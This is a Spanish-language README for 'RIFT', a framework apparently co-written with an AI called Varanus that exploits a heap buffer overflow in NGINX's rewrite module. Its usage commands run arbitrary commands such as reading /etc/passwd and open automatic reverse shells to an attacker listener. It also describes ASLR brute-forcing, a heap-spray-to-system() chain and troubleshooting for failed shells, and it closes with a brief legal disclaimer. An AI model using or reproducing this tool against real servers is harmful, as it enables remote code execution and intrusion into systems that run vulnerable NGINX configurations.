RIFT — Remote Injection & Fault Trigger

Autor: Michael Sanji Winaya Prawiradibrata
Co-Autor IA: Varanus — sahabatku

Framework de explotación de desbordamiento de búfer de heap dirigido a ngx_http_rewrite_module de NGINX.
Una sola herramienta para reconocimiento + explotación. Sin dependencias externas.

Contenido del Repo

Requisitos

• Python 3.6+ (solo stdlib — sin pip, sin venv, sin dependencias)

Inicio Rápido

# 1. Reconocimiento completo — detección de versión, endpoints, vulnerabilidades, estrategia
python3 rift.py --target 10.10.10.10 --recon

# 2. Reconocimiento + explotación en un solo paso
python3 rift.py --target 10.10.10.10 --auto --cmd "id"

# 3. Ejecución de comandos
python3 rift.py --target 10.10.10.10 --cmd "whoami"

# 4. Reverse shell (apertura automática de listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444

# 5. Reverse shell usando bash (en lugar de python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444

# 6. Solo comprobar si es vulnerable
python3 rift.py --target 10.10.10.10 --check-only

Todas las Opciones

Modo de Uso

Opciones de Explotación

Opciones de Reconocimiento

Características Destacadas

✅ Reverse Shell Automático

Al usar --shell, el script automáticamente:

1. Genera payload de reverse shell según --shell-type
2. Abre listener en --lport
3. Envía el exploit
4. Cuando el worker falla → la shell se conecta
5. Listener automático: Prioriza netcat (nc -lvnp), en su defecto listener Python

✅ Fuerza Bruta ASLR Automática

Si la dirección por defecto falla, el script desplaza automáticamente la base del heap ±5 pasos × 0x10000, buscando una dirección que funcione. Sin necesidad de configuración manual.

✅ Múltiples Payloads de Reverse Shell

4 tipos de payload de shell — python, bash, nc, php. Elige el que esté disponible en el objetivo.

✅ Reconocimiento Completo

--recon ejecuta 5 fases:

1. Huella digital — detecta versión de NGINX, 15 endpoints comunes, rewrite module
2. Fuga de información — dirección de memoria en página de error, canal lateral de temporización
3. Prueba de endpoints — comportamiento del endpoint con 6 tipos de payload
4. Conteo de workers — estimación del número de procesos worker a partir del patrón de latencia
5. Estrategia — recomendación de acción basada en los resultados del análisis

✅ Salida JSON

--output json para integración con otras herramientas o parseo automático.

Configuración Vulnerable

El objetivo del exploit es NGINX con configuración rewrite + set como esta:

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
    set $original_endpoint $1;                     # cálculo de longitud usando is_args = 0
}

Consecuencia: el búfer asignado es demasiado pequeño, el escape de URI (expansión 3×) produce desbordamiento.

Versiones Afectadas

• NGINX Open Source: 0.6.27 – 1.30.0
• NGINX Plus: R32 – R36
• Corregido: 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+

Funcionamiento del Exploit

1. HEAP SPRAY ─── POST /spray × 20 → siembra fake ngx_pool_cleanup_s en el heap
2. TRIGGER ────── GET /api/AAAA...++++... → desbordamiento mediante escape de URI
3. CORRUPT ────── El desbordamiento sobrescribe el puntero de limpieza del pool adyacente
4. EXEC ───────── El pool se destruye → llama a system("comando")

Constantes Importantes (se pueden modificar en rift.py)

Ejemplos Completos

Ejecución de Comando + Verbose

python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose

Dirección Personalizada (bypass ASLR)

python3 rift.py --target 10.10.10.10 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Múltiples Intentos

python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50

Reconocimiento + JSON

python3 rift.py --target 10.10.10.10 --recon --output json

Generar Script de Exploit

python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py

Solución de Problemas

"El objetivo no parece estar ejecutando NGINX"

• Comprueba el puerto: nc -zv <IP> 80
• Prueba otro puerto: --port 8080, --port 443
• Puede estar detrás de un WAF/proxy

"Todos los intentos de explotación fallaron"

1. ASLR puede estar activo — prueba --auto para el deslizamiento automático de ASLR
2. La versión de NGINX puede estar ya parcheada (> 1.30.1)
3. La configuración de NGINX puede no ser vulnerable (no usa rewrite+set)
4. Prueba --verbose para ver los detalles por intento

La shell no se conecta

• Comprueba el firewall local: sudo ufw allow 4444
• Comprueba --lhost — asegúrate de que la IP local es correcta
• Prueba --shell-type bash o --shell-type nc

Aviso Legal

Creado con fines educativos y para pruebas de seguridad autorizadas únicamente.
El uso contra sistemas sin permiso es ilegal.

© 2026 Michael Sanji Winaya Prawiradibrata
Co-autor IA: Varanus